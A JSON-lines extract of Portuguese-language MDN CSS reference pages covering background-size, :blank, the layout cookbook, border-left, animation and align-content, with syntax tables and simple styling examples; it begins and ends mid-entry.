`background-repeat` (en-US) esteja definida como `no-repeat`.\n\n\n`cover`\n\n Dimensiona a imagem (enquanto preserva sua proporção) para o menor tamanho possível para caber no contêiner (ou seja: tanto a altura quanto o comprimento *cobrem* completamente o contêiner), sem deixar espaço vazio.\n Se as proporções do plano de fundo diferirem do elemento, a imagem será cortada verticalmente ou horizontalmente.\n\n\n`auto`\n\nDimensiona a imagem de fundo na direção correspondente de forma que as proporções intrínsecas sejam mantidas.\n\n`<length>` (en-US)\n\nEstende a imagem na dimensão correspondente ao comprimento especificado. Valores negativos não são permitidos.\n\n`<percentage>` (en-US)\n\n Estende a imagem na dimensão correspondente à porcentagem especificada da *área de posicionamento do plano de fundo*.\n A área de posicionamento do plano de fundo é determinada pelo valor de `background-origin` (por padrão, o padding box).\n No entanto, se o valor `background-attachment` do plano de fundo for `fixed`, a área de posicionamento será o viewport inteiro.\n Valores negativos não são permitidos.\n\n\n### Dimensões e proporções intrínsecas\n\n O cálculo dos valores depende das dimensões intrínsecas da imagem (largura e altura) e das proporções intrínsecas (relação largura/altura).\n Esses atributos são os seguintes:\n\n* Uma imagem bitmap (como a JPG) sempre possui dimensões e proporções intrínsecas.\n* Uma imagem vetorial (como a SVG) não tem necessariamente dimensões intrínsecas.\n Se tiver dimensões intrínsecas horizontais e verticais, também terá proporções intrínsecas.\n Se não tiver dimensões ou tiver apenas uma dimensão, pode ou não ter proporções.\n* O `<gradient>` (en-US) do CSS não têm dimensões intrínsecas ou proporções intrínsecas.\n* Imagens de plano de fundo criados com a função `element()` usam as dimensões e proporções intrínsecas do elemento gerador.\n\n**Nota:** No Gecko, imagens de fundo criadas usando a função `elemen()` são atualmente tratadas como imagens com as dimensões do elemento, ou da área de posicionamento do fundo se o elemento é SVG, com a proporção intrínseca correspondente. Este é um comportamento fora do padrão.\n\nCom base nas dimensões e proporções intrínsecas, o tamanho renderizado da imagem de fundo é calculado da seguinte forma:\n\n* **Se ambos os componentes de `background-size` forem especificados e não forem `auto`:** A imagem de fundo será renderizada no tamanho especificado.\n* **Se o `background-size` for `contain` ou `cover`:** Embora preservando suas proporções intrínsecas, a imagem é renderizada no maior tamanho contido ou cobrindo a área de posicionamento do plano de fundo.\n Se a imagem não possui proporções intrínsecas, então ela é renderizada no tamanho da área de posicionamento do plano de fundo.\n* **Se o `background-size` for `auto` ou `auto auto`:**\n    + Se a imagem tiver dimensões intrínsecas horizontais e verticais, ela será renderizada nesse tamanho.\n    + Se a imagem não tiver dimensões intrínsecas e proporções intrínsecas, ela será renderizada no tamanho da área de posicionamento do plano de fundo.\n    + Se a imagem não tiver dimensões intrínsecas, mas tiver proporções intrínsecas, ela será renderizada como se `contain` tivesse sido especificado.\n    + Se a imagem tiver apenas uma dimensão intrínseca e tiver proporções intrínsecas, ela será renderizada no tamanho correspondente a essa dimensão.\n     A outra dimensão é calculada usando a dimensão especificada e as proporções intrínsecas.\n    + Se a imagem tiver apenas uma dimensão intrínseca, mas não tiver proporções intrínsecas, ela será renderizada usando a dimensão especificada e a outra dimensão da área de posicionamento do plano de fundo.\n**Nota:** Imagens SVG têm um atributo preserveAspectRatio que é equivalente ao `contain`; um `background-size` explícito faz com que `preserveAspectRatio` seja ignorado.\n* **Se o `background-size` tem um componente `auto` e um componente não `auto`:**\n    + Se a imagem tiver proporções intrínsecas, ela será ampliada para a dimensão especificada.\n     A dimensão não especificada é calculada usando a dimensão especificada e as proporções intrínsecas.\n    + Se a imagem não tiver proporções intrínsecas, ela será ampliada para a dimensão especificada.\n     A dimensão não especificada é calculada usando a dimensão intrínseca correspondente da imagem, se houver.\n     Se não houver essa dimensão intrínseca, ela se tornará a dimensão correspondente da área de posicionamento do plano de fundo\n\n**Nota:** O dimensionamento do plano de fundo para imagens vetoriais que não possuem dimensões ou proporções intrínsecas ainda não foi totalmente implementado em todos os navegadores.\n Tenha cuidado ao confiar no comportamento descrito acima e teste em vários navegadores para garantir que os resultados sejam aceitáveis.\n\n\n### Definição formal\n\n|  |  |\n| --- | --- |\n| Initial value | `auto auto` |\n| Aplica-se a | all elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | não |\n| Percentages | relative to the background positioning area |\n| Computed value | as specified, but with relative lengths converted into absolute lengths |\n| Animation type | a repeatable list |\n\nSintaxe formal\n--------------\n```\n\nbackground-size =   \n  <bg-size># (en-US)    \n  \n<bg-size> =   \n  [ (en-US) <length-percentage [0,∞]> | (en-US) auto ] (en-US){1,2} (en-US)  | (en-US)  \n  cover                                      | (en-US)  \n  contain                                      \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n```\n\nExemplos\n--------\n\n### Colocar lado a lado uma imagem grande\n\n Vamos considerar uma imagem grande, uma imagem do logotipo do Firefox de 2982x2808. Queremos agrupar quatro cópias dessa imagem em um elemento de 300x300 pixels.\n Para fazer isso, podemos usar um valor fixo de `background-size` de 150 pixels.\n\n#### HTML\n\n\n```html\n<div class=\"tiledBackground\"></div>\n```\n\n\n#### CSS\n\n\n```css\n.tiledBackground {\n  background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);\n  background-size: 150px;\n  width: 300px;\n  height: 300px;\n  border: 2px solid;\n  color: pink;\n}\n```\n\n\n#### Resultado\n\nVeja Redimensionando as imagens de fundo para mais exemplos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Backgrounds and Borders Module Level 3 # the-background-size |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Redimensionando as imagens de fundo\n* Scaling of SVG backgrounds (en-US)\n* `object-fit`"}
{"title":":blank - CSS","text":":blank\n======\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\n**Nota:** The `:blank` selector is considered at risk, as the CSSWG keeps changing it.\n\nSee CSSWG issue #1967.\n\nA pseudo-classe CSS **`:blank`** seleciona elementos de entrada do usuário vazios (ex. `<input>` ou `<textarea>`).\n\nSintaxe\n-------\n\nError: could not find syntax for this itemEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # blank-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `:empty`\n* `:-moz-only-whitespace` (en-US) \nNon-standard\n - Definição anterior de `:blank`."}
{"title":"CSS Layout cookbook - CSS","text":"CSS Layout cookbook\n===================\n\nO livro de receitas (Cookbook) de layout CSS visa reunir receitas para padrões de layout comuns, coisas que você pode precisar implementar em seus próprios sites. Além de fornecer código que você pode usar como ponto de partida em seus projetos, essas receitas destacam as diferentes maneiras pelas quais as especificações de layout podem ser usadas e as escolhas que você pode fazer como desenvolvedor.\n\n**Nota:** Se você é novo no layout CSS, então primeiro você pode dar uma olhada em nosso módulo de aprendizado de layout CSS, pois isso lhe dará o básico de que você precisa para usar as receitas aqui.\n\nAs Receitas\n-----------\n\n| Recipe | Description | Layout Methods |\n| --- | --- | --- |\n| Media objects | Uma caixa de duas colunas com uma imagem de um lado e um texto descritivo do outro, por ex. um post no facebook ou um tweet. | CSS Grid, `float` fallback, `fit-content` (en-US) sizing |\n| Columns (en-US) | Quando escolher layout de múltiplas colunas, flexbox ou grid para suas colunas. | CSS Grid, Multicol (en-US), Flexbox |\n| Center an element (en-US) | Como centralizar um item horizontalmente e verticalmente. | Flexbox, Box Alignment (en-US) |\n| Sticky footers (en-US) | Criando um rodapé que fica na parte inferior do contêiner ou viewport quando o conteúdo é menor. | CSS Grid, Flexbox |\n| Split navigation (en-US) | Um padrão de navegação em que alguns links são visualmente separados dos outros. | Flexbox, `margin` |\n| Breadcrumb navigation | Criando uma lista de links para permitir que o visitante navegue de volta pela hierarquia da página. | Flexbox |\n| List group with badges (en-US) | Uma lista de itens com um acessório para exibir uma contagem. | Flexbox, Box Alignment (en-US) |\n| Pagination (en-US) | Links para páginas de conteúdo (como resultados de pesquisa). | Flexbox, Box Alignment (en-US) |\n| Card (en-US) | Um componente de notas/cartão, exibido em uma grade de notas/cartão. | Grid Layout |\n| Grid wrapper (en-US) | Para alinhar o conteúdo da grade em um wrapper central, ao mesmo tempo em que permite que os itens sejam quebrados. | CSS Grid |\n\nContribuir com uma receita\n--------------------------\n\nComo com todo o MDN, gostaríamos que você contribuísse com uma receita no mesmo formato que os mostrados acima. Veja esta página para um modelo e diretrizes para escrever seu próprio exemplo."}
{"title":"border-left - CSS","text":"border-left\n===========\n\nResumo\n------\n\nA **`border-left`** é uma propriedade shorthand em CSS que define todas as propriedades da `border` (en-US) esquerda de um elemento.\n\nExperimente\n-----------\n\nTal como acontece com todas as propriedades abreviadas, `border-left` sempre define os valores de todas as propriedades que possam ser definidas, ainda que estas não tenham sido especificadas. Ela define aquelas que não forem especificadas para os valores padrão. Considere o código a seguir:\n\n\n```css\nborder-left-style: dotted;\nborder-left: thick green;\n```\n\n\nÉ na verdade o mesmo que:\n\n\n```css\nborder-left-style: dotted;\nborder-left: none thick green;\n```\n\n\nO valor de `border-left-style` (en-US) dado antes de `border-left` é ignorado. Uma vez que o valor padrão de `border-left-style` (en-US) é `none`, não especificar a parte `border-style` resulta em nenhuma borda.\n\nPropriedades constituintes\n--------------------------\n\nEssa propriedade é uma abreviação das seguintes propriedades CSS:\n\n* `border-left-color` (en-US)\n* `border-left-style` (en-US)\n* `border-left-width` (en-US)\nSintaxe\n-------\n\n\n```css\nborder-left: 1px;\nborder-left: 2px dotted;\nborder-left: medium dashed blue;\n\n/\\* Global values \\*/\nborder-left: inherit;\nborder-left: initial;\nborder-left: revert;\nborder-left: revert-layer;\nborder-left: unset;\n```\n\n\nOs três valores da propriedade abreviada podem ser especificados em qualquer ordem, e um ou dois deles podem ser omitidos.\n\n### Valores\n\n`<br-width>`\n\nVeja `border-left-width` (en-US).\n\n`<br-style>`\n\nVeja `border-left-style` (en-US).\n\n`<color>`\n\nVeja `border-left-color` (en-US).\n\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `border-left-width` (en-US): `medium`\n* `border-left-style` (en-US): `none`\n* `border-left-color` (en-US): `currentcolor`\n |\n| Aplica-se a | all elements. It also applies to `::first-letter`. |\n| Inherited | não |\n| Computed value | as each of the properties of the shorthand:* `border-left-width` (en-US): the absolute length or `0` if `border-left-style` (en-US) is `none` or `hidden`\n* `border-left-style` (en-US): as specified\n* `border-left-color` (en-US): computed color\n |\n| Animation type | as each of the properties of the shorthand:* `border-left-color` (en-US): a color\n* `border-left-style` (en-US): discrete\n* `border-left-width` (en-US): a length\n |\n\nSintaxe formal\n--------------\n```\n\nborder-left =   \n  <line-width>  || (en-US)  \n  <line-style>  || (en-US)  \n  <color>         \n  \n<line-width> =   \n  <length [0,∞]>  | (en-US)  \n  thin            | (en-US)  \n  medium          | (en-US)  \n  thick             \n  \n<line-style> =   \n  none    | (en-US)  \n  hidden  | (en-US)  \n  dotted  | (en-US)  \n  dashed  | (en-US)  \n  solid   | (en-US)  \n  double  | (en-US)  \n  groove  | (en-US)  \n  ridge   | (en-US)  \n  inset   | (en-US)  \n  outset    \n  \n```\n\nExemplos\n--------\n\n### Aplicando uma borda esquerda\n\n#### HTML\n\n\n```html\n<div>Essa caixa tem uma borda no seu lado esquerdo.</div>\n```\n\n\n#### CSS\n\n\n```css\ndiv {\n  border-left: 4px dashed blue;\n  background-color: gold;\n  height: 100px;\n  width: 100px;\n  font-weight: bold;\n  text-align: center;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Backgrounds and Borders Module Level 3 # border-shorthands |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `border` (en-US)\n* `border-block` (en-US)\n* `outline`\n* Planos de fundo e bordas (en-US)\n* Aprenda CSS: planos de fundo e bordas (en-US)"}
{"title":"animation - CSS","text":"animation\n=========\n\nA propriedade CSS abreviada **`animation`**, aplica uma animação entre estilos. É uma abreviação de `animation-name` (en-US), `animation-duration` (en-US), `animation-timing-function` (en-US), `animation-delay`, `animation-iteration-count` (en-US), `animation-direction` (en-US), `animation-fill-mode` (en-US), e `animation-play-state` (en-US).\n\nExperimente\n-----------\n\nPropriedades constituintes\n--------------------------\n\nEsta propriedade é uma abreviação para as seguintes propriedades CSS:\n\n* `animation-delay`\n* `animation-direction` (en-US)\n* `animation-duration` (en-US)\n* `animation-fill-mode` (en-US)\n* `animation-iteration-count` (en-US)\n* `animation-name` (en-US)\n* `animation-play-state` (en-US)\n* `animation-timing-function` (en-US)\nSintaxe\n-------\n\n\n```css\n/\\* @keyframes duration | easing-function | delay |\niteration-count | direction | fill-mode | play-state | name \\*/\nanimation: 3s ease-in 1s 2 reverse both paused slidein;\n\n/\\* @keyframes duration | easing-function | delay | name \\*/\nanimation: 3s linear 1s slidein;\n\n/\\* two animations \\*/\nanimation:\n  3s linear slidein,\n  3s ease-out 5s slideout;\n```\n\n\nA propriedade `animation` é especificada como uma ou mais animações separadas por vírgulas.\n\nCada animação individual é especificada como:\n\n* zero, uma ou duas ocorrências do valor `<time>`\n* zero ou uma ocorrência dos seguintes valores:\n    + `<single-easing-function>`\n    + `<single-animation-iteration-count>`\n    + `<single-animation-direction>`\n    + `<single-animation-fill-mode>`\n    + `<single-animation-play-state>`\n* um nome opcional para a animação que pode ser `none`, um `<custom-ident>` (en-US) ou uma `<string>` (en-US)\n### Valores\n\n`<single-easing-function>`\n\nDetermina o tipo de transição. O valor deve ser um dos disponíveis em `<easing-function>` (en-US).\n\n`<single-animation-iteration-count>`\n\nO número de vezes que a animação é reproduzida. O valor deve ser um dos disponíveis em `animation-iteration-count` (en-US).\n\n`<single-animation-direction>`\n\nA direção em que a animação é reproduzida. O valor deve ser um dos disponíveis em `animation-direction` (en-US).\n\n`<single-animation-fill-mode>`\n\nDetermina como os estilos devem ser aplicados no alvo da animação antes e depois de sua execução. O valor deve ser um dos disponíveis em `animation-fill-mode` (en-US).\n\n`<single-animation-play-state>`\n\nDetermina se a animação está sendo reproduzida ou não. O valor deve ser um dos disponíveis em `animation-play-state` (en-US).\n\nDescrição\n---------\n\nA ordem dos valores de tempo dentro de cada definição de animação é importante: o primeiro valor que pode ser analisado como `<time>` é atribuído ao `animation-duration` (en-US) , e o segundo é atribuído a `animation-delay`.\n\nA ordem de outros valores dentro de cada definição de animação também é importante para distinguir um valor `animation-name` (en-US) de outros valores. Se um valor na abreviação `animation` puder ser analisado como um valor para uma propriedade de animação diferente de `animation-name`, o valor será aplicado a essa propriedade primeiro e não a `animation-name`. Por esta razão, a prática recomendada é especificar um valor para `animation-name` como o último valor em uma lista de valores ao usar a abreviação `animation`; isso é válido mesmo quando você especifica várias animações separadas por vírgula usando a abreviação `animation`.\n\nUm valor `animation-name` não precisa ser declarado na propriedade abreviada `animation`. Se nenhum nome existir, não haverá animação para aplicar em nenhuma das propriedades.\n\nQuando o valor `animation-duration` é omitido da propriedade abreviada `animation`, o valor padrão dessa propriedade é `0s`. Nesse caso, a animação ainda ocorrerá (o `animationStart` (en-US) e [`animationEnd`](/pt-BR/docs/Web/API/ Element/animationend\\_event) eventos serão acionados), mas nenhuma animação será visível.\n\nPreocupações com acessibilidade\n-------------------------------\n\nA animação piscando e piscando pode ser problemática para pessoas com problemas cognitivos, como o Transtorno de Déficit de Atenção e Hiperatividade (TDAH). Além disso, certos tipos de movimento podem ser um gatilho para distúrbios vestibulares, epilepsia e enxaqueca e sensibilidade escotópica.\n\nConsidere fornecer um mecanismo para pausar ou desabilitar a animação, bem como usar a Consulta de mídia de movimento reduzido (en-US) para criar uma experiência complementar para usuários que têm expressou uma preferência por experiências animadas reduzidas.\n\n* Projetando uma animação na Web mais segura para sensibilidade ao movimento · Um artigo separado\n* Uma introdução à consulta de mídia de movimento reduzido | CSS-Tricks\n* Design responsivo para movimento | WebKit\n* MDN Understanding WCAG, Diretriz 2.2 explicações (en-US)\n* Entendendo o Critério de Sucesso 2.2.2 | W3C Understanding WCAG 2.0\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `animation-name` (en-US): `none`\n* `animation-duration` (en-US): `0s`\n* `animation-timing-function` (en-US): `ease`\n* `animation-delay`: `0s`\n* `animation-iteration-count` (en-US): `1`\n* `animation-direction` (en-US): `normal`\n* `animation-fill-mode` (en-US): `none`\n* `animation-play-state` (en-US): `running`\n* `animation-timeline` (en-US): `auto`\n |\n| Aplica-se a | all elements |\n| Inherited | não |\n| Computed value | as each of the properties of the shorthand:* `animation-name` (en-US): as specified\n* `animation-duration` (en-US): as specified\n* `animation-timing-function` (en-US): as specified\n* `animation-delay`: as specified\n* `animation-direction` (en-US): as specified\n* `animation-iteration-count` (en-US): as specified\n* `animation-fill-mode` (en-US): as specified\n* `animation-play-state` (en-US): as specified\n* `animation-timeline` (en-US): a list, each item either a case-sensitive CSS identifier or the keywords `none`, `auto`\n |\n| Animation type | Not animatable |\n\nSintaxe formal\n--------------\n```\n\nanimation =   \n  <single-animation># (en-US)    \n  \n<single-animation> =   \n  <time [0s,∞]>                       || (en-US)  \n  <easing-function>                   || (en-US)  \n  <time>                              || (en-US)  \n  <single-animation-iteration-count>  || (en-US)  \n  <single-animation-direction>        || (en-US)  \n  <single-animation-fill-mode>        || (en-US)  \n  <single-animation-play-state>       || (en-US)  \n  [ (en-US) none | (en-US) <keyframes-name> ] (en-US)           \n  \n<easing-function> =   \n  linear                          | (en-US)  \n  <linear-easing-function>        | (en-US)  \n  <cubic-bezier-easing-function>  | (en-US)  \n  <step-easing-function>            \n  \n<single-animation-iteration-count> =   \n  infinite        | (en-US)  \n  <number [0,∞]>    \n  \n<single-animation-direction> =   \n  normal             | (en-US)  \n  reverse            | (en-US)  \n  alternate          | (en-US)  \n  alternate-reverse    \n  \n<single-animation-fill-mode> =   \n  none       | (en-US)  \n  forwards   | (en-US)  \n  backwards  | (en-US)  \n  both         \n  \n<single-animation-play-state> =   \n  running  | (en-US)  \n  paused     \n  \n<keyframes-name> =   \n  <custom-ident> (en-US)  | (en-US)  \n  <string> (en-US)          \n  \n<linear-easing-function> =   \n  linear( <linear-stop-list> )    \n  \n<cubic-bezier-easing-function> =   \n  ease                                                | (en-US)  \n  ease-in                                             | (en-US)  \n  ease-out                                            | (en-US)  \n  ease-in-out                                         | (en-US)  \n  cubic-bezier( <number [0,1]> , <number> , <number [0,1]> , <number> )    \n  \n<step-easing-function> =   \n  step-start                             | (en-US)  \n  step-end                               | (en-US)  \n  steps( <integer> (en-US) , <step-position>? (en-US) )    \n  \n<linear-stop-list> =   \n  [ (en-US) <linear-stop> ] (en-US)# (en-US)    \n  \n<step-position> =   \n  jump-start  | (en-US)  \n  jump-end    | (en-US)  \n  jump-none   | (en-US)  \n  jump-both   | (en-US)  \n  start       | (en-US)  \n  end           \n  \n<linear-stop> =   \n  <number>               && (en-US)  \n  <linear-stop-length>? (en-US)    \n  \n<linear-stop-length> =   \n  <percentage> (en-US){1,2} (en-US)    \n  \n```\n\nExemplos\n--------\n\n**Nota:** A animação das propriedades do CSS Box Model não é recomendada. A animação de qualquer propriedade de box model é inerentemente para a CPU; considere animar a propriedade transform.\n\n### Nascer do Sol\n\n Aqui animamos um sol amarelo em um céu azul claro. O sol nasce\n para o centro da viewport e depois desaparece de vista.\n\n\n```html\n<div class=\"sun\"></div>\n```\n\n\n\n```css\n:root {\n  overflow: hidden; /\\* esconde qualquer parte do sol abaixo do horizonte \\*/\n  background-color: lightblue;\n  display: flex;\n  justify-content: center; /\\* centraliza o sol ao fundo \\*/\n}\n\n.sun {\n  background-color: yellow;\n  border-radius: 50%; /\\* cria um fundo circular \\*/\n  height: 100vh; /\\* torna o sol do tamanho da viewport \\*/\n  aspect-ratio: 1 / 1;\n  animation: 4s linear 0s infinite alternate sun-rise;\n}\n\n@keyframes sun-rise {\n  from {\n    /\\* empurra o sol para além da janela de visualização \\*/\n    transform: translateY(110vh);\n  }\n  to {\n    /\\* retorna o sol à sua posição padrão \\*/\n    transform: translateY(0);\n  }\n}\n```\n\n### Animando Múltiplas Propriedades\n\nAdicionando à animação do sol no exemplo anterior, adicionamos uma segunda animação mudando a cor do sol conforme ele nasce e se põe. O sol começa vermelho escuro quando está abaixo do horizonte e muda para laranja brilhante quando atinge o topo.\n\n\n```html\n<div class=\"sun\"></div>\n```\n\n\n\n```css\n:root {\n  overflow: hidden;\n  background-color: lightblue;\n  display: flex;\n  justify-content: center;\n}\n\n.sun {\n  background-color: yellow;\n  border-radius: 50%;\n  height: 100vh;\n  aspect-ratio: 1 / 1;\n  animation: 4s linear 0s infinite alternate animating-multiple-properties;\n}\n\n/\\* é possível animar várias propriedades em uma única animação \\*/\n@keyframes animating-multiple-properties {\n  from {\n    transform: translateY(110vh);\n    background-color: red;\n    filter: brightness(75%);\n  }\n  to {\n    transform: translateY(0);\n    background-color: orange;\n    /\\* propriedades não definidas, ou seja, 'filtro' reverterá para os valores padrão \\*/\n  }\n}\n```\n\n### Aplicando Múltiplas Animações\n\n Aqui está um sol que nasce e se põe sobre um fundo azul claro. O sol\n gira gradualmente através de um arco-íris de cores. O tempo do sol, posição e cor são independentes.\n\n\n```html\n<div class=\"sun\"></div>\n```\n\n\n\n```css\n:root {\n  overflow: hidden;\n  background-color: lightblue;\n  display: flex;\n  justify-content: center;\n}\n\n.sun {\n  background-color: yellow;\n  border-radius: 50%;\n  height: 100vh;\n  aspect-ratio: 1 / 1;\n  /\\* várias animações são separadas por vírgulas, os parâmetros de cada animação são definidos independentemente \\*/\n  animation:\n    4s linear 0s infinite alternate rise,\n    24s linear 0s infinite psychedelic;\n}\n\n@keyframes rise {\n  from {\n    transform: translateY(110vh);\n  }\n  to {\n    transform: translateY(0);\n  }\n}\n\n@keyframes psychedelic {\n  from {\n    filter: hue-rotate(0deg);\n  }\n  to {\n    filter: hue-rotate(360deg);\n  }\n}\n```\n\n### Animações Múltiplas em Cascata\n\n Aqui está um sol amarelo sobre um fundo azul claro. O sol salta entre as\n lados esquerdo e direito da viewport. O sol permanece na janela de visualização mesmo\n embora uma animação de ascensão seja definida. A propriedade de transformação da animação de subida\n é 'substituído' pela animação de salto.\n\n\n```html\n<div class=\"sun\"></div>\n```\n\n\n\n```css\n:root {\n  overflow: hidden;\n  background-color: lightblue;\n  display: flex;\n  justify-content: center;\n}\n\n.sun {\n  background-color: yellow;\n  border-radius: 50%;\n  height: 100vh;\n  aspect-ratio: 1 / 1;\n  /\\*\n as animações declaradas posteriormente na cascata substituirão as\n propriedades de animações declaradas anteriormente\n \\*/\n  /\\* bounce 'substitui' a transformação definida por ascensão, portanto, o sol só se move horizontalmente \\*/\n  animation:\n    4s linear 0s infinite alternate rise,\n    4s linear 0s infinite alternate bounce;\n}\n\n@keyframes rise {\n  from {\n    transform: translateY(110vh);\n  }\n  to {\n    transform: translateY(0);\n  }\n}\n\n@keyframes bounce {\n  from {\n    transform: translateX(-50vw);\n  }\n  to {\n    transform: translateX(50vw);\n  }\n}\n```\n\n\nVeja Usando animações CSS para exemplos adicionais.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Animations Level 1 # animation |\n\nCompatiblidade com navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando animações CSS\n* API JavaScript `AnimationEvent`"}
{"title":"align-content - CSS","text":"align-content\n=============\n\nA propriedade CSS **`align-content`** define a distribuição entre e ao redor dos items do conteúdo do eixo transversal de uma flexbox ou do eixo de bloco de uma grid.\n\nO exemplo interativo abaixo use Grid Layout para demonstrar alguns dos valores dessa propriedade.\n\nExperimente\n-----------\n\nThis property has no effect on single line flex containers (i.e. ones with `flex-wrap: nowrap`).\n\nSyntax\n------\n\n\n```css\n/\\* Basic positional alignment \\*/\n/\\* align-content does not take left and right values \\*/\nalign-content: center; /\\* Pack items around the center \\*/\nalign-content: start; /\\* Pack items from the start \\*/\nalign-content: end; /\\* Pack items from the end \\*/\nalign-content: flex-start; /\\* Pack flex items from the start \\*/\nalign-content: flex-end; /\\* Pack flex items from the end \\*/\n\n/\\* Normal alignment \\*/\nalign-content: normal;\n\n/\\* Baseline alignment \\*/\nalign-content: baseline;\nalign-content: first baseline;\nalign-content: last baseline;\n\n/\\* Distributed alignment \\*/\nalign-content: space-between; /\\* Distribute items evenly\n The first item is flush with the start,\n the last is flush with the end \\*/\nalign-content: space-around; /\\* Distribute items evenly\n Items have a half-size space\n on either end \\*/\nalign-content: space-evenly; /\\* Distribute items evenly\n Items have equal space around them \\*/\nalign-content: stretch; /\\* Distribute items evenly\n Stretch 'auto'-sized items to fit\n the container \\*/\n\n/\\* Overflow alignment \\*/\nalign-content: safe center;\nalign-content: unsafe center;\n\n/\\* Global values \\*/\nalign-content: inherit;\nalign-content: initial;\nalign-content: revert;\nalign-content: unset;\n```\n\n### Values\n\n`start`\n\nThe items are packed flush to each other against the start edge of the alignment container in the cross axis.\n\n`end`\n\nThe items are packed flush to each other against the end edge of the alignment container in the cross axis.\n\n`flex-start`\n\n The items are packed flush to each other against the edge of the alignment container depending on the flex container's cross-start side.\n This only applies to flex layout items. For items that are not children of a flex container, this value is treated like `start`.\n\n\n`flex-end`\n\n The items are packed flush to each other against the edge of the alignment container depending on the flex container's cross-end side.\n This only applies to flex layout items. For items that are not children of a flex container, this value is treated like `end`.\n\n\n`center`\n\nThe items are packed flush to each other in the center of the alignment container along the cross axis.\n\n`normal`\n\nThe items are packed in their default position as if no `align-content` value was set.\n\n`baseline`, `first baseline`, `last baseline`\n\nSpecifies participation in first- or last-baseline alignment: aligns the alignment baseline of the box's first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group.\n\n![the baseline is the line upon which most letters \"sit\" and below which descenders extend.](/pt-BR/docs/Web/CSS/align-content/410px-typography_line_terms.svg.png)\n\nThe fallback alignment for `first baseline` is `start`, the one for `last baseline` is `end`.\n\n`space-between`\n\nThe items are evenly distributed within the alignment container along the cross axis. The spacing between each pair of adjacent items is the same. The first item is flush with the start edge of the alignment container in the cross axis, and the last item is flush with the end edge of the alignment container in the cross axis.\n\n`space-around`\n\nThe items are evenly distributed within the alignment container along the cross axis. The spacing between each pair of adjacent items is the same. The empty space before the first and after the last item equals half of the space between each pair of adjacent items.\n\n`space-evenly`\n\nThe items are evenly distributed within the alignment container along the cross axis. The spacing between each pair of adjacent items, the start edge and the first item, and the end edge and the last item, are all exactly the same.\n\n`stretch`\n\nIf the combined size of the items along the cross axis is less than the size of the alignment container, any `auto`-sized items have their size increased equally (not proportionally), while still respecting the constraints imposed by `max-height` (en-US)/`max-width` (or equivalent functionality), so that the combined size exactly fills the alignment container along the cross axis.\n\n`safe`\n\nUsed alongside an alignment keyword. If the chosen keyword means that the item overflows the alignment container causing data loss, the item is instead aligned as if the alignment mode were `start`.\n\n`unsafe`\n\nUsed alongside an alignment keyword. Regardless of the relative sizes of the item and alignment container and whether overflow which causes data loss might happen, the given alignment value is honored.\n\nFormal definition\n-----------------\n\n|  |  |\n| --- | --- |\n| Initial value | `normal` |\n| Aplica-se a | multi-line flex containers |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nFormal syntax\n-------------\n```\n\nalign-content =   \n  normal                                   | (en-US)  \n  <baseline-position>                      | (en-US)  \n  <content-distribution>                   | (en-US)  \n  <overflow-position>? (en-US) <content-position>    \n  \n<baseline-position> =   \n  [ (en-US) first | (en-US) last ] (en-US)? (en-US)  && (en-US)  \n  baseline             \n  \n<content-distribution> =   \n  space-between  | (en-US)  \n  space-around   | (en-US)  \n  space-evenly   | (en-US)  \n  stretch          \n  \n<overflow-position> =   \n  unsafe  | (en-US)  \n  safe      \n  \n<content-position> =   \n  center      | (en-US)  \n  start       | (en-US)  \n  end         | (en-US)  \n  flex-start  | (en-US)  \n  flex-end      \n  \n```\n\nExamples\n--------\n\n### CSS\n\n\n```css\n#container {\n  height: 200px;\n  width: 240px;\n  align-content: center; /\\* Can be changed in the live sample \\*/\n  background-color: #8c8c8c;\n}\n\n.flex {\n  display: flex;\n  flex-wrap: wrap;\n}\n\n.grid {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, 50px);\n}\n\ndiv > div {\n  box-sizing: border-box;\n  border: 2px solid #8c8c8c;\n  width: 50px;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n}\n\n#item1 {\n  background-color: #8cffa0;\n  min-height: 30px;\n}\n\n#item2 {\n  background-color: #a0c8ff;\n  min-height: 50px;\n}\n\n#item3 {\n  background-color: #ffa08c;\n  min-height: 40px;\n}\n\n#item4 {\n  background-color: #ffff8c;\n  min-height: 60px;\n}\n\n#item5 {\n  background-color: #ff8cff;\n  min-height: 70px;\n}\n\n#item6 {\n  background-color: #8cffff;\n  min-height: 50px;\n  font-size: 30px;\n}\n\nselect {\n  font-size: 16px;\n}\n\n.row {\n  margin-top: 10px;\n}\n```\n\n### HTML\n\n\n```html\n<div id=\"container\" class=\"flex\">\n  <div id=\"item1\">1</div>\n  <div id=\"item2\">2</div>\n  <div id=\"item3\">3</div>\n  <div id=\"item4\">4</div>\n  <div id=\"item5\">5</div>\n  <div id=\"item6\">6</div>\n</div>\n\n<div class=\"row\">\n  <label for=\"display\">display: </label>\n  <select id=\"display\">\n    <option value=\"flex\">flex</option>\n    <option value=\"grid\">grid</option>\n  </select>\n</div>\n\n<div class=\"row\">\n  <label 